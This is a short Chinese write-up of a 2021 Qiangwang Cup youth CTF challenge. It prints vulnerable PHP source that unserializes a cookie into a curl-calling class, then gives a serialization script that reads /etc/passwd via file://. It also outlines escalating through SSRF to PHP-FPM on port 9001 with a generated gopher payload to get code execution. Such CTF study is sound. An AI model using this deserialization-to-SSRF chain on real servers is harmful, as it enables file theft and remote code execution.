[2021强网杯青少年]ssrf+fpm
Posted huamanggg
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[2021强网杯青少年]ssrf+fpm相关的知识,希望对你有一定的参考价值。
best_php
<?php
highlight_file(__FILE__);
//like fpm?
class Crawl{
public $url;
function __construct($url){
if(substr($url,0,7)==="http://"){
$this->url = $url;
}else{
$this->url = "http://127.0.0.1/";
}
}
public function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo $result;
}
function __destruct(){
$this->curl($this->url);
}
}
if($_COOKIE["login"]=='1'){
unserialize($_COOKIE["crawldata"]);
}else{
if(isset($_GET["url"])){
$crl = new Crawl($_GET["url"]);
}else{
echo "no";
}
}
直接改cookie就可以了
<?php
class Crawl
{
public $url;
function __construct($url){
$this->url = 'file:///etc/passwd';
}
}
$s = new Crawl('xxx');
echo urlencode(serialize($s)
可以直接读取文件
但是问题就是不知道flag的名字
这里看到提示fpm,猜测是fpm配合ssrf进行rce
看配置文件
一开始试了7.0发现没有,试到7.2出现了配置文件
/etc/php/7.2/fpm/pool.d/www.conf
的确满足了条件,监听了9001端口
用工具生成gopher协议去rce
注意修改端口为9001
成功rce了,找到flag名字
然后用file协议读取就好了
参考链接
以上是关于[2021强网杯青少年]ssrf+fpm的主要内容,如果未能解决你的问题,请参考以下文章
第五届“强网杯”全国网络安全挑战赛 - 青少年专项赛 crypto